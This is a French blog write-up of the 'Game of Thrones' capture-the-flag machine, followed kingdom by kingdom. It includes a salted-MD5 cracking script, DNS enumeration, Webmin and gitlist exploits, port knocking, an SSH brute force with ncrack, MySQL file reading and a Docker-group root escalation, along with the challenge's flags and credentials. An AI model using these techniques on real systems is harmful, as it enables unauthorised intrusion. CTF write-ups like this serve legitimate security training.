"My little birds are everywhere. To enter in Dorne you must say: A_verySmallManCanCastAVeryLargeShad0w . Now, you owe me" - Lord (The Spider) Varys

"Powerful docker spells were cast over all kingdoms. We must be careful! You can't travel directly from one to another... usually. That's what the Lord of Light has shown me" - The Red Woman Melisandre
Yes ! On a maintenant de quoi entrer sur Dorne + un indice pour plus tard :-)

Winterfell c'est Sansa(s) !

Le compte FTP permet de récupérer un flag ainsi que deux fichiers :
Connected to 192.168.1.30.
220-------------------------
220-"These are the Dorne city walls. We must enter!" - Grey Worm
220-
220-"A fail2ban spell is protecting these walls. You'll never get in" - One of the Sand Snake Girls
220-------------------------
220 This is a private system - No anonymous login
Name (192.168.1.30:devloop): oberynmartell
331 User oberynmartell OK. Password required
Password:
230-OK. Current directory is /
230-Welcome to:
230- ____
230-|    \ ___ ___ ___ ___
230-|  |  | . |  _|   | -_|
230-|____/|___|_| |_|_|___|
230-
230-Principality of Dorne was conquered. This is your first kingdom flag!
230 fb8d98be1265dd88bac522e1b2182140
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Connecting to port 51065
-rw-r--r--    1 0          0                 304 Aug 27 22:15 problems_in_the_north.txt
-rw-r--r--    1 0          0                 492 Aug 20 00:31 the_wall.txt.nc
226-Options: -l
226 2 matches total
Le fichier texte contient les indices suivant :
"There are problems in the north. We must travel quickly. Once there we must defend the wall" - Jon Snow

"What kind of magic is this?!? I never saw before this kind of papirus. Let's check it carefully" - Maester Aemon Targaryen

md5(md5($s).$p)

nobody:6000e084bf18c302eae4559d48cb520c$2hY68a
Ok hashcat devrait pouvoir casser de genre de hash, puisque le md5 du salt est juste un prefix mais fsck hashcat j'ai pas de GPU et la version legacy semble trop prise de tête à compiler.
Un petit peu de Python fera l'affaire :
from hashlib import md5
import sys

good_hash = "6000e084bf18c302eae4559d48cb520c"
salt = b"2hY68a"
prefix = md5(salt).hexdigest().encode()

with open(sys.argv[1]) as fd:
    for candidate in fd:
        candidate = candidate.strip()
        if md5(prefix + candidate.encode(errors="ignore")).hexdigest() == good_hash:
            print("Password is {}".format(candidate))
            break
Avec l'aide d'une wordlist (ex: rockyou) on retrouve facilement le mot de passe (stark).
On peut alors déchiffrer le second fichier chiffré avec mcrypt :
$ file the_wall.txt.nc
the_wall.txt.nc: mcrypt 2.5 encrypted data, algorithm: rijndael-128, keysize: 32 bytes, mode: cbc,
$ sudo apt-get install mcrypt
$ mcrypt -d the_wall.txt.nc
Le fichier obtenu a les infos suivantes :
"We defended the wall. Thanks for your help. Now you can go to recover Winterfell" - Jeor Mormont, Lord Commander of the Night's Watch

"I'll write on your map this route to get faster to Winterfell. Someday I'll be a great maester" - Samwell Tarly

http://winterfell.7kingdoms.ctf/------W1nt3rf3ll------
Enter using this user/pass combination:
User: jonsnow
Pass: Ha1lt0th3k1ng1nth3n0rth!!!

Un Rhaegar perçant sur DNS

Une fois connecté sur la nouvelle adresse on trouve des indices dans le code HTML :
Welcome to Winterfell
You conquered the Kingdom of the North. This is your second kingdom flag!
639bae9ac6b3e1a84cebb7b403297b79

"We must do something here before travelling to Iron Islands, my lady" - Podrick Payne

"Yeah, I can feel the magic on that shield. Swords are no more use here" - Brienne Tarth
On trouve aussi un indice dans un CSS (http://winterfell.7kingdoms.ctf/winterfell.css) :
"Old TeXTs are written about how to enter into the Iron Islands fortress" - Theon Greyjoy
Un AXFR sur la zone (dig -t AXFR 7kingdoms.ctf @192.168.1.30) nous indique que l'accès est refusé :(
Un dig ANY nous retourne plus d'informations en revanche :
; <<>> DiG 9.10.3-P4-Ubuntu <<>> -t ANY 7kingdoms.ctf @192.168.1.30
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65363
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 4

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;7kingdoms.ctf.                 IN      ANY

;; ANSWER SECTION:
7kingdoms.ctf.          86400   IN      TXT     "This is the Pyke Iron Islands fortress. We are ironborn. We're not subjects, we're not slaves. We do not plow the field or toil in the mine. We take what is ours. What is dead may never die"
7kingdoms.ctf.          86400   IN      TXT     "If you try to enter using brute force, you'll be defeated. You only must ask the right question. - Yara Greyjoy"
7kingdoms.ctf.          86400   IN      A       192.168.0.161
7kingdoms.ctf.          86400   IN      SOA     ns1.7kingdoms.ctf. ns2.7kingdoms.ctf. 2017072301 21600 3600 604800 86400
7kingdoms.ctf.          86400   IN      NS      ns1.7kingdoms.ctf.
7kingdoms.ctf.          86400   IN      NS      ns2.7kingdoms.ctf.
7kingdoms.ctf.          86400   IN      MX      10 mail.7kingdoms.ctf.

;; ADDITIONAL SECTION:
ns1.7kingdoms.ctf.      86400   IN      A       192.168.0.161
ns2.7kingdoms.ctf.      86400   IN      A       192.168.0.161
mail.7kingdoms.ctf.     86400   IN      A       192.168.0.161
J'ai pas mal galéré sur cette partie du challenge qui m'a donné quelques Varys :-p
Comme les enregistrements montrent une IP différente pour le SOA j'ai tenté de reconfigurer la VM pour être sur le réseau 192.168.0.0/24 mais le SOA changeait pour la nouvelle adresse de la VM :-/

Il fallait relire la discussion entre Podrick et Brienne : sur la page HTML se trouve le blason des Stark or ce fichier se nomme stark_shield.jpg.

stark_shield.jpg

Un exiftool n'apporte rien mais un strings ou un hexdump montre qu'un indice a été ajouté à la fin du fichier :
"Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoy
$ dig -t TXT Timef0rconqu3rs.7kingdoms.ctf @192.168.0.3

;; ANSWER SECTION:
Timef0rconqu3rs.7kingdoms.ctf. 86400 IN TXT     "You conquered Iron Islands kingdom flag: 5e93de3efa544e85dcd6311732d28f95.
Now you should go to Stormlands at http://stormlands.7kingdoms.ctf:10000.
 Enter using this user/pass combination: aryastark/N3ddl3_1s_a_g00d_sword#!"

Partons Cersei le prochain flag !

Comme le laissé supposer Nmap et le numéro de port, l'interface stormlands est un Webmin.
Une fois connecté le numéro de version est affiché : Webmin spell version: 1.590
J'ai fouillé un peu pour voir si il y avait une faille quelconque dans le champ de recherche sans résultats. La version est connue pour être vulnérable (CVE-2012-2982) et un exploit est disponible dans Metasploit.

Metasploit Webmin options exploit

Arya's flag (successful webmin exploitation)

C'est l'heure de poser nos little fingers sur Postgres

$ psql -h 192.168.0.3 -U robinarryn mountainandthevale
Password for user robinarryn:
psql (9.5.9, server 9.6.4)
WARNING: psql major version 9.5, server major version 9.6.
         Some psql features might not work.
Type "help" for help.

mountainandthevale=> help
You are using psql, the command-line interface to PostgreSQL.
Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit
mountainandthevale=> \dt
                List of relations
 Schema |        Name         | Type  |  Owner
--------+---------------------+-------+----------
 public | aryas_kill_list     | table | postgres
 public | braavos_book        | table | postgres
 public | eyrie               | table | postgres
 public | popular_wisdom_book | table | postgres
(4 rows)

mountainandthevale=> select * from aryas_kill_list;
 id |         name          |                               why
----+-----------------------+-----------------------------------------------------------------
  1 | WalderFrey            | For orchestrating the Red Wedding
  2 | CerseiLannister       | For her role in Ned Starks death
  3 | TheMountain           | For the torture at Harrenhal
  4 | TheHound              | For killing Mycah, the butchers boy
  5 | TheRedWomanMelisandre | For kidnapping Gendry
  6 | BericDondarrion       | For selling Gendry to Melisandre
  7 | ThorosofMyr           | For selling Gendry to Melisandre
  8 | IlynPayne             | For executing Ned Stark
  9 | MerynTrant            | For killing Syrio Forel
 10 | JoffreyBaratheon      | For ordering Ned Starks execution
 11 | TywinLannister        | For orchestrating the Red Wedding
 12 | Polliver              | For killing Lommy, stealing Needle and the torture at Harrenhal
 13 | Rorge                 | For the torture at Harrenhal and threatening to rape her
(13 rows)

mountainandthevale=> select * from braavos_book;
 page |                                                                                                                  text                                                                 
------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    1 | City of Braavos is a very particular place. It is not so far from here.
    2 | "There is only one god, and his name is Death. And there is only one thing we say to Death: Not today" - Syrio Forel
    3 | Braavos have a lot of curious buildings. The Iron Bank of Braavos, The House of Black and White, The Titan of Braavos, etc.
    4 | "A man teaches a girl. -Valar Dohaeris- All men must serve. Faceless Men most of all" - Jaqen H'ghar
    6 | "A girl has no name" - Arya Stark
    7 | City of Braavos is ruled by the Sealord, an elected position.
    8 | "That man's life was not yours to take. A girl stole from the Many-Faced God. Now a debt is owed" - Jaqen H'ghar
    9 | Dro wkxi-pkmon qyn gkxdc iye dy mrkxqo iyeb pkmo. Ro gkxdc iye dy snoxdspi kc yxo yp iyeb usvv vscd. Covomd sd lkcon yx drsc lyyu'c vycd zkqo xewlob. Dro nkdklkco dy myxxomd gsvv lo lbkkfyc kxn iyeb zkccgybn gsvv lo: FkvkbWybqrevsc
(8 rows)

mountainandthevale=> select * from eyrie;
 id |          character           |                                                                         text
----+------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------
  1 | Lysa Arryn                   | We were allies for centuries. We can negotiate the peace if you win this mind game
  2 | Robin Arryn                  | The flag is hidden somewhere on this dungeon. You'll never find it. Ha ha ha!
  3 | Mord                         | You'll be thrown into one of the sky cells!!
  4 | Petyr (Littlefinger) Baelish | I'm here to help as always... If you OWN your destiny you can do anything
  5 | Tyrion Lannister             | Books say stupid things sometimes like people do. You have to decide what to believe and what could be useful. The best choice for me is to be drunk
(5 rows)

mountainandthevale=> select * from popular_wisdom_book;

 id |                                                                                                text                                                                                     
----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  1 | The First Men are the original human inhabitants of Westeros
  2 | The King's Landing main gates are closed by orders of the Queen. Nobody can pass, and it seems something permanent
  3 | The High Garden citizens never were great warriors, they are POLITE people. If you want to enter to their fortress you only need to Knock at the gates but following their rules... they like order
  4 | A Lannister always pays his debts
  5 | The old arcane Docker magic is present over all the kingdoms. Usually you can't use it to move between them but there is a secret tunnel from The Rock to King's Landing, everybody knows that
  6 | The Iron Bank has the control. They can give you anything you want if you pay enough...
(6 rows)
Une pluie d'indices ici ! :-)
L'entrée 9 du braavos_book attire mon attention. Un rot13 ne permet pas d'obtenir un texte lisible mais d'après le placement de la lettre 'o' on est clairement sur un chiffrement par substitution et même probablement par décalage.
La flemme de coder un script pour décoder ça du coup j'ai trouvé une page permettant de retrouver le bon décalage et donc le texte en clair que voici :

The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis

On s'exécute :
$ psql -h 192.168.0.3 -U TheRedWomanMelisandre braavos
Password for user TheRedWomanMelisandre:
psql (9.5.9, server 9.6.4)
WARNING: psql major version 9.5, server major version 9.6.
         Some psql features might not work.
Type "help" for help.

braavos=> \dt
                   List of relations
 Schema |            Name            | Type  |  Owner
--------+----------------------------+-------+----------
 public | temple_of_the_faceless_men | table | postgres
(1 row)

braavos=> select * from temple_of_the_faceless_men;
               flag               |                                                    text
----------------------------------+-------------------------------------------------------------------------------------------------------------
 3f82c41a70a8b0cfec9052252d9fd721 | Congratulations. You've found the secret flag at City of Braavos. You've served well to the Many-Faced God.
(1 row)

IMAP... Bravos risques et périls !

D'après la carte la prochaine étape est le port 143 (IMAP). On est sûr d'après les indices qu'il y a un port-knocking à faire mais la commande suivante échoue à nous ouvrir le port :
nmap -sT -T polite -p3487,64535,12345 -r 192.168.0.3
Le shell que l'on a récupéré avec l'exploit webmin a les droits root... mais on est dans un conteneur Docker. De nombreux outils standards ne sont pas présents (ps, netstat, ifconfig, etc) et il faut les uploader sur le système (avec les librairies associées) pour avoir un environnement utilisable pour nos investigations.
Au lieu d'uploader Nmap et ses nombreuses dépendances j'ai scanné les ports depuis le conteneur avec un one-liner Python :
[time.sleep(.005) or socket.socket().connect_ex(("192.168.0.3", port)) for port in (3487,64535,12345,143)]
[111, 111, 111, 0]
La dernière valeur (0) nous indique que la connexion au port 143 s'est bien ouverte après avoir tapé sur les autres ports :-)

Dialoguer avec le serveur IMAP depuis un shell aussi basique n'est pas agréable, heureusement je peux forwarder le port jusqu'à mon système via ssh (à uploader préalablement sur le système) :
ssh -R 9999:172.21.0.1:143 -fN devloop@192.168.0.16
Pour autant le serveur IMAP n'a pas de bannière donnant le moindre indice :( Clairement j'ai loupé une information quelque part.

And now what?

N'étant pas un expert en PostgreSQL je suis retourné sur le service et j'ai essayé d'autres commandes :
mountainandthevale=> \d
                      List of relations
 Schema |            Name            |   Type   |   Owner
--------+----------------------------+----------+------------
 public | aryas_kill_list            | table    | postgres
 public | aryas_kill_list_id_seq     | sequence | postgres
 public | braavos_book               | table    | postgres
 public | eyrie                      | table    | postgres
 public | eyrie_id_seq               | sequence | postgres
 public | flag                       | view     | robinarryn
 public | popular_wisdom_book        | table    | postgres
 public | popular_wisdom_book_id_seq | sequence | postgres
(8 rows)

mountainandthevale=> select * from flag;
ERROR:  permission denied for relation flag
Ohoh ! Il y avait une view... à voir. Yara (Greyjoy) peut être une documentation à potasser :D

Un petit grant select on flag to robinarryn plus tard on obtient dans la table flag un gros base64 à décoder :
Nice! you conquered the Kingdom of the Mountain and the Vale.
This is your flag: bb3aec0fdcdbc2974890f805c585d432.
Next stop the Kingdom of the Reach.
You can identify yourself with this user/pass combination: olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah,
but first you must be able to open the gates
En ce qui me concerne les ports sont déjà ouvertes :) Il ne reste plus qu'à configurer Thunderbird (ça pourrait être une maison de GoT) avec les informations récupérées.

IMAP flag

A-Tyrion notre attention sur ce repo !

Une fois forwardé, le port 1337 s'avère être un gitlist qui affiche trois repos :

gitlist GoT repos

Sur le premier se trouve un commit de tyrionlannister@7kingdoms.ctf avec le texte suivant (contenu du fichier poussé) :
Note under the bed There is a note under the bed. Somebody put it there. It says: 2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874 "The main gates of King's Landing are permanently closed by Queen's order. You must search for another entrance" An anonymous friend
La note est évidemment de l'hexadécimal qu'on décode rapidement avec Python :
>>> from binascii import unhexlify
>>> unhexlify("2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874")
b'/home/tyrionlannister/checkpoint.txt'
Il existe une bien jolie vulnérabilité pour gitlist que je m'empresse d'exploiter :

Gitlist RCE

Et si on passe la commande cat /home/tyrionlannister/checkpoint.txt on obtient le HTML suivant :
fatal: Not a valid object name master:Welcome to:

 _____ _          _____         _   

|_   _| |_ ___   | __  |___ ___| |_ 

  | | |   | -_|  |    -| . |  _| '_|

  |_| |_|_|___|  |__|__|___|___|_,_|

You are very close to get the flag. Is not here, it's at King's Landing. We must travel there from here!

The credentials to access to King's Landing are:

user/pass: cerseilannister/_g0dsHaveNoMercy_
db: kingslanding

"Chaos isn't a pit. Chaos is a ladder" - Petyr (Littlefinger) Baelish

La (re)quête pour MySQL

$ mysql -h 127.0.0.1 -P 3336 -u cerseilannister -p kingslanding

mysql> show tables;
+------------------------+
| Tables_in_kingslanding |
+------------------------+
| iron_throne            |
+------------------------+
1 row in set (0,01 sec)
mysql> select * from iron_throne;
+----+------------------------------------------------------------------------------------+
| id | text                                                                               |
+----+------------------------------------------------------------------------------------+
|  1 | -..-. . - -.-. -..-. -- -.-- ... --.- .-.. -..-. ..-. .-.. .- --.                  |
|  2 | "You still have some privileges on this kingdom. Use them wisely" - Davos Seaworth |
+----+------------------------------------------------------------------------------------+
2 rows in set (0,01 sec)
Je trouve un décodeur de Morse en ligne qui retourne /ETC/MYSQL/FLAG
Le reste vient tout seul :
mysql> create table dump (data text);
Query OK, 0 rows affected (0,19 sec)

mysql> load data infile '/etc/mysql/flag' into table dump;
Query OK, 7 rows affected (0,03 sec)
Records: 7  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from dump;
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| data                                                                                                                                                                                                                                 |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|                                                                                                                                                                                                                                      |
| Congratulations. You conquered the last kingdom flag.                                                                                                                                                                                |
| This is your flag: c8d46d341bea4fd5bff866a65ff8aea9                                                                                                                                                                                  |
| Now you must find the Dragonglass mine to forge stronger weapons.                                                                                                                                                                    |
| Ssh user-pass:                                                                                                                                                                                                                       |
| daenerystargaryen-.Dracarys4thewin.
| "All men must die, but we are not men" - Daenerys Stormborn of the House Targaryen, First of Her Name, the Unburnt, Queen of the Andals and the First Men, Khaleesi of the Great Grass Sea, Breaker of Chains, and Mother of Dragons |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
7 rows in set (0,01 sec)

Un petit verre de dragon pour la route ?

$ ssh daenerystargaryen@192.168.0.3
daenerystargaryen@192.168.0.3's password:
 __            _   _            ___
|  |   ___ ___| |_|_|___ ___   |  _|___ ___
|  |__| . | . | '_| |   | . |  |  _| . |  _|
|_____|___|___|_,_|_|_|_|_  |  |_| |___|_|
                        |___|
 ____                          _
|    \ ___ ___ ___ ___ ___ ___| |___ ___ ___
|  |  |  _| .'| . | . |   | . | | .'|_ -|_ -|
|____/|_| |__,|_  |___|_|_|_  |_|__,|___|___|
              |___|       |___|

daenerystargaryen@7kingdoms:~$ id
uid=1000(daenerystargaryen) gid=1000(daenerystargaryen) groups=1000(daenerystargaryen),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
daenerystargaryen@7kingdoms:~$ uname -a
Linux 7kingdoms 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) x86_64 GNU/Linux
Le fichier /etc/passwd indique la présence de deux utilisateurs non-root (dont le notre) :
daenerystargaryen:x:1000:1000:daenerystargaryen,,,:/home/daenerystargaryen:/bin/bash
branstark:x:1001:1001::/home/branstark:/bin/bash
Le seul fichier que l'on trouve pour branstark c'est son home-directory... Ça fait short :| Et on ne dispose pas d'une entrée sudoers quelconque.
Heureusement il y a des indices dans notre home à nous (checkpoint.txt) :
"Dragonglass. Frozen fire, in the tongue of old Valyria. Small wonder it is anathema to these cold children of the Other" - The Red Woman Melisandre

"Large amounts of Dragonglass can be found on Dragonglass mine (172.25.0.2). The mine can be accessed only from here. We are very close... Fail2ban magic is not present there, maybe we can reach the 'root' of the problem pivoting from outside to use this digger" - Samwell Tarly

"The White Walkers don't care if a man's free folk or crow. We're all the same to them, meat for their army. But together we can beat them" - Jon Snow
Ok, le commentaire de Samwell Tarly laisse entendre que l'on doit bruteforcer le compte SSH root sur 172.25.0.2. Pour celà on a une passlist dans le fichier digger.txt présent sur le système.
Une fois Ncrack et ses librairies copiées sur le système :
LD_LIBRARY_PATH=. ./ncrack -u root -P ../digger.txt ssh://172.25.0.2 -T insane

Starting Ncrack 0.6 ( http://ncrack.org ) at 2017-11-04 02:34 CET

Discovered credentials for ssh on 172.25.0.2 22/tcp:
172.25.0.2 22/tcp ssh: 'root' 'Dr4g0nGl4ss!'

Ncrack done: 1 service scanned in 120.02 seconds.

Ncrack finished.
Let's go !
daenerystargaryen@7kingdoms:~$ ssh root@172.25.0.2
The authenticity of host '172.25.0.2 (172.25.0.2)' can't be established.
ECDSA key fingerprint is SHA256:CLkjibFJaJn7gL10+IfE7LWYVS34ZgavwWKn+ej4LaU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.25.0.2' (ECDSA) to the list of known hosts.
root@172.25.0.2's password:

You found the
 ____                          _
|    \ ___ ___ ___ ___ ___ ___| |___ ___ ___
|  |  |  _| .'| . | . |   | . | | .'|_ -|_ -|
|____/|_| |__,|_  |___|_|_|_  |_|__,|___|___|
              |___|       |___|
       _
 _____|_|___ ___
|     | |   | -_|
|_|_|_|_|_|_|___|

root@1558d33076eb:~# id
uid=0(root) gid=0(root) groups=0(root)
root@1558d33076eb:~# ls
flag.txt
root@1558d33076eb:~# cat flag.txt
Congratulations.
You've found the secret flag of Dragonglass mine. This is your flag: a8db1d82db78ed452ba0882fb9554fc9

Now you have the Dragonglass weapons to fight against the White Walkers.

Host's ssh:
branstark/Th3_Thr33_Ey3d_Raven

"The time has come" - The Three Eyed Raven

La Machine aux Multiples IPs

On a maintenant accès au compte branstark membre du groupe docker.
$ ssh branstark@192.168.0.3
branstark@192.168.0.3's password:
 _____ _         _    _____     _   _   _
|   __|_|___ ___| |  | __  |___| |_| |_| |___
|   __| |   | .'| |  | __ -| .'|  _|  _| | -_|
|__|  |_|_|_|__,|_|  |_____|__,|_| |_| |_|___|

branstark@7kingdoms:~$ ls
checkpoint.txt
branstark@7kingdoms:~$ cat checkpoint.txt

Now you are ready to face the final battle!! Try to escalate to root.

"Seven blessings to all of you and good luck" - Game of Thrones CTF master ;)
On peut lister les différentes images docker :
branstark@7kingdoms:~$ docker images
REPOSITORY            TAG                 IMAGE ID            CREATED             SIZE
ironislands           latest              ca673df5a4d0        8 weeks ago         214MB
dragonglassmine       latest              55ec6084ae2c        2 months ago        208MB
kingslanding          latest              481c10d705d8        2 months ago        276MB
reach                 latest              e3b43aacd568        2 months ago        252MB
mountainandthevale    latest              f298c2e8279f        2 months ago        287MB
stormlands            latest              bf1141670de7        2 months ago        338MB
rock                  latest              5bb888ae3d75        2 months ago        374MB
basecamp-winterfell   latest              284cf1128d23        2 months ago        407MB
dorne                 latest              82fb98a60e15        2 months ago        428MB
Pour sortir d'un docker quand on a accès au fichier /run/docker.sock (typiquement quand on est membre du groupe docker), il peut suffire d'utiliser une image destinée à l'exploitation comme dockerrootplease ou docker-privilege-escalation.

Sauf que rien à faire, même en jouant avec les paramètres de config j'obtenais toujours l'erreur suivante :
Get https://registry-1.docker.io/v1/repositories/library/redis/tags/latest: net/http: TLS handshake timeout.
De quoi avoir envie d'envoyer les dévs de Docker dans les flammes de R'hllor !!

Mais le Dieu de la Lumière a entendu nos prières et nous dirige vers un exploit Metasploit :

Docker escalation

On obtient l'euid 0 qui nous permet d'accéder à un dernier indice :
To defeat White Walkers you need the help of the Savages, the Many-Faced God skill learned at Braavos and the Dragonglass weapons

Some hints:

type of file = ???
pass = ???
useful-pseudo-code-on-invented-language = concat(substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)), substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)), substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3)))

"Hodor... Hodor!!" - Hodor

Si on suit bien l'indice le premier flag est 8bf8854bebe108183caeb845c7676ae4, le second 3f82c41a70a8b0cfec9052252d9fd721 et le troisième a8db1d82db78ed452ba0882fb9554fc9.
Au lieu de retoucher au pseudo-code j'ai adapté Python :
>>> strlen = len
>>> def substr(s, start, end):
...   return s[start:end]
... 
>>> secret_flag1 = "8bf8854bebe108183caeb845c7676ae4"
>>> secret_flag2 = "3f82c41a70a8b0cfec9052252d9fd721"
>>> secret_flag3 = "a8db1d82db78ed452ba0882fb9554fc9"
>>> substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)), substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)), substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3))
('45c7676ae4', '252d9fd721', '2fb9554fc9')
Le mot de passe 45c7676ae4252d9fd7212fb9554fc9 permet alors d'ouvrir l'archive 7z final_battle.zip qui contient le fichier flag.txt

Final Battle flag: 8e63dcd86ef9574181a9b6184ed3dde5
                     _
 ___ _ _ _ ___ ___ _| |
| . | | | |   | -_| . |
|  _|_____|_|_|___|___|
|_|

You won the battle against White Walkers. You pwned the Game of Thrones CTF!!! (v1.0 September 2017)

Now the seven kingdoms can rest in peace for a long time ruled by a true king/queen.

Congratulations and I hope you enjoyed the experience as much as me making it!!

Designed by Oscar Alfonso (OscarAkaElvis or v1s1t0r)
Contact: v1s1t0r.1s.h3r3@gmail.com
https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf

A last little present! you can get now all the flags ordered:

Dorne
Winterfell
Iron Islands
Stormlands
Mountain and the Vale
Reach
Rock and King's Landing
Savages
City of Braavos
Dragonglass Mine
Final Battle

Get the word of each one using https://crackstation.net or any other md5 online crack service to get a phrase in a row!!
Si on passe les hash dans l'odre sur CrackStation :
MD5 flags

Closing titles

Ce CTF était vraiment sympathique, bien pensé, suffisamment long et proposait une variété de technos que l'on trouve rarement sur les CTF.
Un grand bigup à v1s1t0r pour la création du CTF :)

Classé dans : Non classé - Mots clés : aucun